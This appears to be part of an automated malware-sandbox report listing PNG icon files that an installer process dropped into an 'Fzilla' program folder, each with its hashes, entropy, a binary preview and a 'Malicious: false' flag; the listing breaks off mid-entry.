SHA-512:	88600A543244BEE5B9A29971DAB0943D09FF7BC4D7AA2BA4DA91E380C1B7FAD6C0E21A63B3A03BC776E7B2BF4A1510A9E3951ED66D9A120C0D70682AA26717D9
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b0......pd.....FU-Id..0....N.a..a..fl..c-..m......r.y:<}.....s5,.Y..#.....aW.(~.Z/"@/...em.[?....<...).F......&.4..t0:'Q?$..[.gn....4..s..2.......$4..(...<..6..Q.5.R.....7.N.f.......B.......i.J.'7@o4#..".L.!Mbk.......g"..,..b.....8..O.t.\|..4....B.....&P?.....H..I......{.FSC.N.6....O.y..t..L&wwy\|.X.H.X2....x'[.t...!..E.....v"..7..\.._9..8..)`..X..4......LU'..,).2..%..T.W6.V....Q0....~?d.%F.V..eC..."...v......[dw.QG5...@.....D8..G4....BeS...8...&..$....p[.0t..+......Y.=.Jl..cE.....j....Bl:..'.U....J...%\.'..=.X,..:.k.X^...L.~...R..G....6....:...\Z...;.P.#.D...3.........{....a.3..o.c..#....b^._.....K.7.7..B......hr'.....I....V...q.....'...uua.........!;...6T...c]r........W...Jnw..}.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\unknown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.669816282841975
Encrypted:	false
SSDEEP:	12:6v/7nl+7qNchjg0NQNjS9/CU5EyBWUWoOD6f5NvZ/OCz8E47xG9cdWkdgtIhJK8X:PjgRtU+yBAozf5Vsm8yci6hJKcY6
MD5:	3115823FE4FCB61CA3D2F0AF13E3060C
SHA1:	1BC4B1CDE929475C90EFE6DE17F5BA95DE06232D
SHA-256:	C0650E5B87B31EA35529E4A69FE379807043A540D1E965E30B90035B73ABCD4E
SHA-512:	D34C5CE3E1F97E2887F50FCFE96BDD70322073116DCB40876FFE6C1F8C6508FF22D276501318BE7B56BE44D651F166A8984D1FEE0EF625FF30CDA28465007947
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.mS.s%A...?r.m.m+.m.m...W.n........y..9c.E..dh..I.ordN....6p)...o...\S...z....A..n..y..?2...n68....g...%x...C..A.~q.....cyoJ.A1..d_(....yx .s...V....]}...)..o.x....A>.(..).b9...1.v...e<A......aQ..a..T.......>..(.r.sg=%.4.Lg...L.....,.@..T......S....U...,.b)AfJA#.......-wM...%.....k.....q.'...k:..Z..n&%.......9.\..?..Wv......8X...cn...B >.Fc..g.%..4.....x.....T....\...D..r.....f..X$..K...L..Q+...@Y..;G......Uu.V.^iG.~,>...>....]X}U/s.L`B9v=....v8...7e\|a........'.x\|7O./.T.Vw.%..!.hN.QDS.A;..~.;^j.aJ..%.'...g.1....bl.g.q..d^...z...i...$.o..1%..'......J.I'L...R~.. .%...m..g6~..C.6...(.#EE...0R...>W.6..;."..\|6..oT ..h,..Wl9....~a3-....f.3yt....I..h;..B+.... .....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	582
Entropy (8bit):	7.547978947186378
Encrypted:	false
SSDEEP:	12:6v/777VTLPPXAw+wVpIyGJgazHWewbgUSGDB3waNkrRsr9ExFNSDPHN:uJwzwVfKZs9krfIPHN
MD5:	764E387CA1FBEE7561C35E479FAC4C55
SHA1:	361C69B981DEBB0B8C01B94191BCCD7A7B3C06C7
SHA-256:	F689D7C0B8F8DC0C666EF49F548BCE9219F41B92E2371E69BA0A716E449A4C39
SHA-512:	73CB52AF836C2C3A375009DE96862D7FEF5541E2A46C6D1C3BD455DBFC5AD8E3787DF993217BFF96E6E9BFAE380658504889E41D6D328A78552E70EF26E01E83
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C`.@.E......m..Gm..7j.m.6o^l..s.....a...>...v.....+.^...a.Y......#.i7.j..N.....2.O..0D.K&.e.I.....@@Ic.D..2.,..$.o..<0.U1.%.D.a........J..X)\...=.;.3M.5.,~D_.k../VOa+......v...p.7.....(xA' .cQb@..(...b.......h..N.......v;.9..k..x.C".#....7.88.'...8..<.E.'..3.....I`.....t..1.;..a.wm.1.....p.q.^...}..xd..R.[..l\...I.q=.......Vr..F..u....V......7..W....q.....i%x.\|.......'7.8.,..)a.W.w......:.^.x..;`..@qm.yV..j..........S....ce.d.\|>-6..gT.d.:5...$.p..Ob..S..^}.w........r..z.ca...Z.5...:..t#pow.\......1....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	201
Entropy (8bit):	6.531342860343286
Encrypted:	false
SSDEEP:	6:6v/lhPMili5l97DBH87GQxz6Ba6JQRKFmHh2wp:6v/7pIlpDBCHxWs6JQXA6
MD5:	93FA5220A2B95C60E9AFDD33B37B2789
SHA1:	E861ABAA12522991F716E788BC4858187728AD56
SHA-256:	AC96CDDC7EFB9771389DA52F4B6D5630EB938920E85890F80B851D55DFD02DB0
SHA-512:	BFBC462BCA644C0B5517FA09CDD0196AB80B08D93126DDE1D1B017927B4709C80493FB96D535979725729AC154A5269797247F0B9A3F8E54469F0403E6D4C916
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...$u.. ...g.1...s.......`..?.....V..\~........1D3.o;....3@........y.......l....[.'l...m....n.._q.......{.5...@.A....."..tyz.....%e...X..C.1.-....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	463
Entropy (8bit):	7.285591582716212
Encrypted:	false
SSDEEP:	12:6v/7AQJMD0+E77F3+F9OZwyL0vR8R04XOOPNA:FWMwtvwF9AfL0v6HG
MD5:	B0B28E8BCF6FEEA4F812E55DD3FB5C24
SHA1:	D7583FF9BFBC3E4B816CE53CF1C89485B03EC926
SHA-256:	FF9E0FBEBE9D74986BCBA9DA7EEF64D8CCAC851BF0B692ECD38032B4E93BC0D0
SHA-512:	C223ED04489F86CCE866BFDA0A4323CA0DAE38A29527FFC8ABD7E7C83454C0D020049B3FCAF1FC2D4D06E545F90D5E44D7AB48E690A7879EC3ACC33458D7C8B5
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx...5..A.E.....%..e.,....)!........k.;tw...S5.q..>un....8.o...tZ.V..h..o...........!..j.......x .f... ...%...HB... ...2.]..K.....H"CVN...P7X..d.V...R. O.;ZQ4XC..5[...Q1.....7..U...W...:._6... ...."..S. .j..L....:.}.....\|[[8.9R.PH...f...-.0h.H.9.d........{}...k0dc....Q4.......x......9.(8$I........E.u.I..=...$.+....D.....9......`.e^....m......7...'-7../.R..3j...b.G.<..0j.0y:.}.U...U..tZL.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2369
Entropy (8bit):	7.906022399828481
Encrypted:	false
SSDEEP:	48:s0Tp5Cnc8PDfuKl9LEYXJLMjTSul+oosPybA8alGeW+A+Smsk:sKQc8bdEOMjxE1sPVtwuBsk
MD5:	16F29DF276C6E99038EF268CA5BE85BD
SHA1:	93CB8D20DD2721585F9B0DEA037E57C5D56E2BFD
SHA-256:	73CCD2E0ADC992E762126B1411147C4B310A2428587098DA49210BF78C3FCD86
SHA-512:	4CA7E870AB96F1125B4CF9E7D5ED587C30D34FD80BFD4AA7B0B497996B91A418D4E87466D1A7FBEEB6B8135A4F12BE244FDC84EBF7C6FE1F892A019A039BFE27
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx......i........N..F...8..3s1.....l....k....v..........g....N...h+...4.$....?@.[......iK.Y..j1...6<.5..!.,$.[D.n.U!.Uy...8.p...E,..j...D,BK4.i...2....HF...q..U.^B.(..>.i.XCm]..G.........[I.I...+.L.[m..S..ig1.~......[.A..eE...w.v.b..".d..?L.N..'...!.$.....'i..s/...lz...TPHB.\+.{.Z.X...5...s;..W..^!.J.....=.K..\|.....L.7.....9.?.....x.f.......9z........}..E..$!...K:..8..'._s...H.6..n...k?.9..lvJ..{.1GOU".......ut.#.=.....Q...%......z..x$...x.$......m..s..:y..A.....Pd..m...B......Ty8t.\7.@/.c..vp..q..$.........:x.}.\Z &M_L2.......7/....`8..M....N.....8)@S... .#A_.o..qE"........-'.c..>..3.,.T.,.F @.....,.A.`4(..F".8j".h.......g........HE..r%...!............@,.......n.6#5..Z....c.?r..:?RR...q.%...M....K-....{....k..N.UCs.VV{.......pIQ.B.\|..:.fdp.es.E%....5.....yl..R...d....H.#X,.IU...C....G.0x.a$I.?..(-.G..r..@iI.6.Qv{...,)....c...Y.p9.M..t...j...d.4u..n.g4...y*j.F!&L]X..j...V........9.Eqi....(

C:\Program Files (x86)\Fzilla\resources\tango\32x32\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	705
Entropy (8bit):	7.6142119172828835
Encrypted:	false
SSDEEP:	12:6v/7dB7Ttvk4pFdbln3KtVwUaNtbDjIlK+btMzkq5MptYtPPNZeNx9sLN637YGC:WfzndblnGVwtgfbizk8EevZe9pK
MD5:	F697FA0215B9CF824C67F6874E4EE0A7
SHA1:	7AADAB5517232455F3B6E4E8F642DCD043DCADD9
SHA-256:	327D5965F0815CE72C2294D69CB9671CE2438C474D770F4715F94AED7863C185
SHA-512:	E962C771C96893027C9D6820FB594BA4541D1A5A5200CBBF6BB99C3C51E07FD50D6B026ED19AFD6549F02D3C39633F2FE9FA243ED0D6CB900788BBC8A21A9732
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx...S..F.@..$Y..k.O..)j..T....{m...n..).vc...d..K.p...5.\.Q..{..W.....^.W.Z.T.-...c..R..D^..3. .@r.5..D..V.kDIv....AT..../.Z.....$._. ..].~YP.3.OeP.G..+.~..-h...#..x.8B..UB#.4.~...$.:B.h.di.....w.}..j.8U...YZB@...T..\'n..S..r...$.q.Q+Un...}.....k.Sl.>_..aP.r.m..o...K...}..:.S..j....{..........d&.}.n.....w.".... .[./.].......[`Cs..kl.b.......S..A.....a.m.I2Af..;.i<...O....}.gKw....`.^A...3...b...l:....G.}3...##.0.Ya..:.@...>G;.^....u...?C......g...'r.z.tgx_.S.T...X.[Kn. .9..@Z........z0.i..M.(./...uh.#F..v.....zg./...\|`.....{......:..Zp...N..ce..W/.@.5M..f.b..9..].t~}.2u.c.._7._.s.y....].u.$.n.zt.3Sx.S.F.../..WK.../......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1416
Entropy (8bit):	7.811528189217717
Encrypted:	false
SSDEEP:	24:Y1stQBVPSfiRUHX3p1zbEsJtvtCj+bStcfl5hgfPc7vNY6ws2Z2ml1:dcc3plbEsbYj+u0XwsDml1
MD5:	6DBBA28A0845E323B1A847F669505EBD
SHA1:	05B7951B9CB2FF9B54229B1436EFD0DB85D2C6CC
SHA-256:	022D193B8D0B61477E5D8032DDB4C47D820DE9F121BECCE3B446B26D87F55DE5
SHA-512:	8470D281B00CDF986E4C493CD91292E2FB71A8B2FA6C4062621930E23196FA4C88C2D5F8E03E48689D0A7EF19B14967C1ED660C92C5E2A9B2584CF2F899D9879
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....OIDATx....l+..@........23333..2.J.2s+.....>.s....l.N3JdY^.R]8.5...I4...#...m..I.P,..r.}...z..i.]....7<...'_..u ..8D=.......,.Z.k.YK.........(..:..BP.U......1_....[..O.y...E=.0..~.;.a. .C..:....-.$..Z....0T...S...]'.b7s#..T]...g_.....!Hg.<...b..U...[[>)q...w.../.YA.k[1.v.l.A.'.h.....+.f..%.-.E.Vb..r..%...$./...XO.q?T..$....R.y..5<}.-.1z.%RX......Y...X`Sf....V..D...@K`..f."K5.IS.......X...L#.%...f...... JC.".:..p...@......5.FZ........c...):Z..t#.%.:.C0.2....Ps . ...TF.(......r..I.I..Kx.C.v.>...@.. ..9...`K...$Rm..@u....k.u".133.TE:.vs.6... ..%J:.Za%....jh.0Z.f@k...S.=..#..............m....2..X.E.+........ ..1...A.w...@{kf+.m--$.q..Q.......p..E7...nk(........5......xO..@.6...r.....l.......-..$......&P-.S.RL.O$[p..(.)...o!H.#.{.....39............PW.Z[YC.1..31.m4.......p.zQb.)..b....P.....<.A.\r!.w..E*.R.-\.}6.y'......../_.....{...3.AxD.........SE..pQ9.}.......8.....JI.===...S....%I6'q...J+.w...?^......w....RJ.S

C:\Program Files (x86)\Fzilla\resources\tango\32x32\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.861944592233901
Encrypted:	false
SSDEEP:	24:zKjtkzp5u9o/HSOWd1iUs1agtl61RQFRjz62XHzEcJjmu2daaiRL3jraC/ANUxuM:GR0PuAAgPaSzZXgkmu2ViR7Hh/AuoS8U
MD5:	AC127241B96FC12E91D636E0AAC4C262
SHA1:	9729CB3AE4A32949291F2DD1187B8A14CFD01311
SHA-256:	86D17932B8ED7339D8086BD73540D223B5982B2395276BC2012ADF6A8E1C154A
SHA-512:	3990A4F6D76804F38C4FD23D20CA14D2966AF54E5032C5081D5E8715EF50254F53B8B20F73412F10B71E4083E05206A97888D476A859A59E00F4350F7148BF42
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W.t;.....mj.m.m.m......2e.d..ngO..V...3.>.).b...=........&...&.WT..t...`.c.4....[.<....DC....>...`\|3..k...?...t8.......s..&To..~..L$.}.....xj\|..ml\|...\|.WrA:FD`D..[.O>.D;:..........?u.7..u.X.f..$.N..."..FTn.)~..LGW.c...T...\......_.$9.k.B..a..U.a."1"b....._dzzz...<ls).[....9.....Ph.X@.^..qo.{F.U.......{...!L....oojiy."_....H..2.....Px.J\|W..a.~g..Huwc(.........}r.......]M....r.uj\|..'9.LQPO/R...r.p..........FkY.CD...C.(.;.d....y.......x..n..-..^.. .kh@.=. ..~.\p..8.l.#...G9.~..;.<.......+QlqF.Bp.g.......D.!N....jo...`f0h...}w....h....ojU.e$..z+d...9.H......Ok....Q....MG.......k...C.e..=.......cJ...)z.y..8%.A.s.a].g...g....... ..}.... ....._r...R...0...O6..._D'...."."......_F..o..........k ....1.J....K."N....o..x..wG3..zAl.g$..s..c=..b..qG..z.\|.....K.....4B..... @.s.......Q..@.yg...[a......b....h..q.. 4.....IE....u...\|.=.e..o..`l..2'....p-.5.yz-..0.."..B;%.\|..k7..U....B....D..S..y.u.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	897
Entropy (8bit):	7.654133347326965
Encrypted:	false
SSDEEP:	24:O7NXAgTnzyVliOj2ad97pU5yHokRWvvmiqJ60Dts9:O6gTzwUq9KEQHq7S
MD5:	75AC6E3542D2AD79179B69131439D52C
SHA1:	AEA820ABBDA79A5598971B64B224FAE3A2664E49
SHA-256:	D882B522556E723C2231F434F1DA9A1829DED713A59969F6925D86B5099A00BA
SHA-512:	6883821C32944892CD8E4D3F5FBB3572EEDF7108946CB6AB27A3C5AC3E8A8321AC44F4D98F96020D96C96A932FA0B3D107037D9C162898F2D13F7BF940BFDBE9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....HIDATx..T..,G.=3.z.q.[..N.m...e;.m.N.qR....Uo....v.:.f....v.s..._B....x..o .[..qu+..Q..A..I)....+?.@..PJ.h."7.....P.9...G..koo.....H.1{.u.JB...c.....ec.o...T.]]]8.._~.e...r.wN...2a..........".....7n..G".@&...a....e.D........O...MO.z....C.b0\|.p.=1..{.\|.UW._....<Sz...X.p.G.1...N.>.:.l.!0j.(.8p...m..[n..o..._.p3.....[=......a.F..E(..J.8.......J.i,... ...?.O..AKG..t.....D..;.......T....c...=.LL...J..s.8p W....+'t.....-.....FK..o.FD.UAr...S-..9...I.....x...t...a.B...@rue..1s.?.&y q.!`\|.M..]..n.&].L..{`.%y.z{..{...Jr.G..G..y?Q,J.3..Bj...Y..i}.....AD......;.t...L.G.y....+.2.P.L...7K.s_}..x..H)..<.....-.@..~.....3...z.7..%?.yi....y..^."..`.-..}...#.+.c..j+...H(..z.Q.......1I............4....X....{'..A...L.z.JJ..i........@...Q......v...<p3...#.\|....`b.z..r..-.....@..Z.d......v-....:z...UN...:..._......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1122
Entropy (8bit):	7.744166234014491
Encrypted:	false
SSDEEP:	24:yblKd5de+zbEovxGQI8ghsv4HkdIdnJ0B33ZW+c:yblEde+zbEo3I8KswHk6dmFZW+c
MD5:	BD04CCA8D82FEE4DE9E9413C61895C48
SHA1:	46E5985C91096A061161A28653C325CA7A61730E
SHA-256:	F44067334D0A09208A522EF63B3D9375273667893C2D990A9681FE28708ECA23
SHA-512:	854CB2BE988AEBF5A1E81FDBCD967FEBF3BD1CD4226DF58D37635E76226715764F3BE78AE3C43A658D0A2C69F97B5F305F3368EC99A868385874609A611E7D3C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....)IDATx.b.R +;=.@[9.IsEQ.c.f..m.v..m+.Fk......8.}rr...n......W.~}....TxB\BL...`..\...../l6.g......f.'_..A..0N.Mbtl.#.....>bA.d.#:..,3"2M.O7!,..4.BR^EP.+._.K".~c.6wl..c......":...."....g....F......._..!O...m.......2..JJT ."...Dp.a..K7#..9.I\v_1...`..6..u......[..\JP$.......{.q\ro..E.......?..w...W#.... ..@..../......U..k}......._e<0:.WR.... ..&05=....".c.."qu.S...IY........."...sS&.qt....u..gq]...Z...f.g.O2.~.._."....j..3>........M..l.y.#...r.W...n.......t..@Wo.o".......@~Q.df../..8_e\.zz;.ac;.ky.o.....f..l.....ln~....+.>Q#`.[..... ...Qy....=./.Z.]/...."..k...w^tl.............."..N$.(qK..`...'u3>.......-..IQ..B...vr.(......;..d.,dz..7.w,:.?.........3]....QQ.U...].Y..Kd..;>....f....<#g..J...\.W>...d..f......[o..3..4.:.\..w..J`ff..?t......."N....&N>...Qi.bs.....'..p...]H.....MC..JH%..lI.f3.../....{.........??.-.l...\|.^...H@a....."...`@Cc=z{.QSS.*..5r......mx.'=........0..Jmiy.......P..==...B....lT..E[.%....`s\|..g

C:\Program Files (x86)\Fzilla\resources\tango\32x32\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.745181227936584
Encrypted:	false
SSDEEP:	24:YQBF/55BRU+11tGtrUUV9ekFc3lw14nBQAwfO1Gt1TdQQIQ6gya/7WV5UF9Gn:YQD/vR11w1UUV9eBlS4BfQHQQIQ6E/7s
MD5:	147C19751CD71C957E0E8FE38179A361
SHA1:	F1D315FAF9927056980E5A7E4CA72B64A2B9631E
SHA-256:	BB3C41D5E5B5A3105C7721BEEDB804A220135A4F847E81515BCD3942B058EFCE
SHA-512:	218452B00524069F49F58BF43DC65C2A75C5D9EE1BE5449A9962E67944465B013EBFEEDC7B780E0D1990CBD22E6CE501DEB1A43D29090E5B48F1957556CFBC32
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..c`-9..O.I;.m..[.k.F..m.m.m...6....X<.......uim...m.....(:/.Q.5~.[.....C'.E9..R..E.7.4{_....p..Ubx+..[g.7v....(......[.{.O.[t\|.a.G.o.{.S.-.0.2....z.....S..g.....1h..../......E...9p...1^._k..T.Z+..4..3..H.. ..ZW....H..E.{.......?PZB).............8..o^(.....G.c5./n.....6.....Z...r.ly.....a........d.....ro.....-.....#.g.....!....b.2......p...Z....(....5...r.J....W..&.>@..8((".=.A.4.@.{.......6.dT.{G..T.G~..g.7.....{..J.'.q.53Dd...DE+..AI.....`HqcC.....J....Z.uh.VC.8..pF..K......BS..q..f.6...4.0H.i.........G..o..../....Q...}..)...$b.$.P....%...$.B).H...P.D$....j...?$ .Zrt...<..5..%i.G...x.2.....Q.$H. .4.......:.~H.\.nH.X...w<..W.........@.........h...$.....A....gik.R.G...Ff!.M....u...^.s..5O...X....e.......[....N4.js)..uT5\|'....]\.X.[..6...O.k..A...s/?..T..b..%.s....?.W......WM/.0...e8..S.:..@8.!.x.]...+ ,..$n.....~.......i.;...Z...V(T...6....lr.......N.<..#ca....v.......+.p.d{...".......=...

C:\Program Files (x86)\Fzilla\resources\tango\32x32\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	508
Entropy (8bit):	7.450638491357663
Encrypted:	false
SSDEEP:	12:6v/7ijEDTbtWGwTa70cV33FItF5QirGBrTqgjsfvhSQ+:90sTWnFEDGdOmS5Sf
MD5:	14D993A7709C9E5114A01AAAB315493D
SHA1:	58FF2E58A01AED53205829D14E013891E67691D0
SHA-256:	FB7DFFEE4A53DCAFB847B983015483198446B5844EC700D7DBF9C47209141A95
SHA-512:	76BC3A90F205A31F798CD98A9A9C0A71DC286B67D90B6C178A5D9329CB05B1622BBBF2BB6A9157C04C42B009B81694C094F19235BAC17763E9BA58C77D26D086
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....\A.E.....j3...m.6b.1k.u..m..m....emU{..\|.....U.....Q....J..E...}_6o.b.y...@.k.?.,...S...Q0>..C..R...5e{...5..G..VB..3yS.t.............(.......<A...v(0.!X2g,...c.....!.M..!j...J.D@b..c...'...a... !.. ...s...9...9....}..O......q..4....{.[$.A.S...9..!.iu......{...!.1..."..D!.$....w8}.yN..b.-f./.a4p.ok....95..=7+{......s..Vl~\|ze#. @]r.).Vlc...R.:.....J. .....{....eMh..Z...$.Z.....U.I...km.y..0..3.f....8.j.3.A....@.~K.J#.].)....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	463
Entropy (8bit):	7.285591582716212
Encrypted:	false
SSDEEP:	12:6v/7AQJMD0+E77F3+F9OZwyL0vR8R04XOOPNA:FWMwtvwF9AfL0v6HG
MD5:	B0B28E8BCF6FEEA4F812E55DD3FB5C24
SHA1:	D7583FF9BFBC3E4B816CE53CF1C89485B03EC926
SHA-256:	FF9E0FBEBE9D74986BCBA9DA7EEF64D8CCAC851BF0B692ECD38032B4E93BC0D0
SHA-512:	C223ED04489F86CCE866BFDA0A4323CA0DAE38A29527FFC8ABD7E7C83454C0D020049B3FCAF1FC2D4D06E545F90D5E44D7AB48E690A7879EC3ACC33458D7C8B5
Malicious:	false
Preview:	.PNG........IHDR... ... ......s......IDATx...5..A.E.....%..e.,....)!........k.;tw...S5.q..>un....8.o...tZ.V..h..o...........!..j.......x .f... ...%...HB... ...2.]..K.....H"CVN...P7X..d.V...R. O.;ZQ4XC..5[...Q1.....7..U...W...:._6... ...."..S. .j..L....:.}.....\|[[8.9R.PH...f...-.0h.H.9.d........{}...k0dc....Q4.......x......9.(8$I........E.u.I..=...$.+....D.....9......`.e^....m......7...'-7../.R..3j...b.G.<..0j.0y:.}.U...U..tZL.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	717
Entropy (8bit):	7.578087610312301
Encrypted:	false
SSDEEP:	12:6v/7isR9AjSCFGsxud4h2nkwHQsRg9rTxCSkmHtLO10WoRSnKuxQAPW:SR9AuYhSkwH6pxHLOG5AcN
MD5:	BF5D35B2275410721E663F3867167007
SHA1:	10352BCE64796AD813781757F0D5AF395798158C
SHA-256:	7159E988C41E1066526CF7CCB59AC6520533D43272B28CFBD9663492E1669F96
SHA-512:	A58522CF6A29461A593F7D6A2B45C4E02D58856C0516AC95DAB0B56DDBA9782C5CE4F2512F16866259A241E3AB803819D9E238E29EB643F72A53C0C0EE5E9121
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...l.Q....r.m.N.'.m{.j[A......n.F.m..w8....O..\|....].o......%~.$....i.5?.e...zR(++._......577w.099y....#....4....2.....................4.M...wsrr..622...QR.R.>\|.P....c.!....Y.....{.F."..AZ.......?MN..8.......c..5.^``. kHKK..o....."!!...........................[.n.\|...'.`.N.J.M#..h..B...:s.L...BKf...{.....]..V..{...C..V2..R.`...f.Z....Y...>\|8.{........j.^&.Q!....=2..T.g.h4.^....m[9/,,"GGG....<.....THH.7s..i../...q...~..t:.\|...........k..\...........0..5.v.Z...gE...m.........\... ,)).u+..EEE.Q1fKKKy..j.8...*G......w.i......cm.bi.8S.b.\|x......FJ.K_..........KD....;.....t7..y..2..%Y`.t.n....}q..HV......A\|GG....T...X. f....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2003
Entropy (8bit):	7.887061191090399
Encrypted:	false
SSDEEP:	48:O4KNT2N0n/2t1NlFHTtp5NPj3Gbhfyb5pMFOnN:O4Z6uNfKtdFOnN
MD5:	3A4BA1F439585373A7292EBBC37D73A7
SHA1:	26C39B91D8EE1A3FDE0A86E767E05B53119FFFC3
SHA-256:	65F2A8D3629FC46A60934580A3A03AB04FEC6D82F6E681F6267EC6FE7FBE5D3B
SHA-512:	9DC0C5402C23F6EEDC2FEC675051A9719D5A3FD7CDCA40089EB29DA106B7D30F6C66E419C01220CE0232FB2C4CC7666718DDF03AC8E677FC46FEF95C06E40F40
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..+k...F&.8c\..m.m...zk........{O.....O.V.............&..o.Q...H..sq=..y..Y....e.........U.w.}W.J...l..]..jkk.`0.. (C.F...Z[[........ccc..;..Y...~..V.8.sf.E.h.b.."D..8.#Q.U....)...={...-..,y..G..i....^?x.5. ......O.......t.N.N...T..W.W3{.Z...g.}F...L&3..'....~.aQ2.....p........".e......e4hc.Dc......u../.i.~...s.v+.:tH...F8.4......q..W)..92J.~..#......{.<.mf...............h.P...up.-.....#.O[.l.........#..h..I.7.=....v.{..hvE%..s...T.`^...........z-.....&......AW.......~.M.....6l...].R4.... ng/_.\M.ao4.IW.d....WT..4..c.F.l.1.....5...../._.\|..o..wIv.......]H...@.WVVF.x.~.....i.Y6.nS\..d...tVJ.2%.(..Kr...c.P,.DedJ...oon.).RQQ.....Vh4..........Sm..Y@....Og.XV....K2).6........E.6......d.Z.X6.$.e..M&....Fm.H..D..C...'Q..XF.L.L...P+1. .%.A.D....I.t:.....\.W..[y&...s2^e!:.q.. .dJ!,.NW.......c.1U.... ME.#8dWJ..c.h.......i.(...8.O..%.h.{4...5......#B$<.EU$.]DI.08......E...j..:<Qg.P..c...kH/.L"..'.

C:\Program Files (x86)\Fzilla\resources\tango\32x32\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1301
Entropy (8bit):	7.801261393390284
Encrypted:	false
SSDEEP:	24:FWqWclpY2a9oOSDG1X6S7P1Q5IUhd8eiVI6p4LzxxbQvff/oGOcKz:NTY2aDSK1X6sQGUPLoI6p8303f/LOlz
MD5:	C13A4882A6686CBCA2E973294647518E
SHA1:	49596958A896265876BA64B93ED0D3B3E21A7B30
SHA-256:	C319D209C43F7BD11B19EE79F6CF14EC7F89240801961090B0A96284216CF2FB
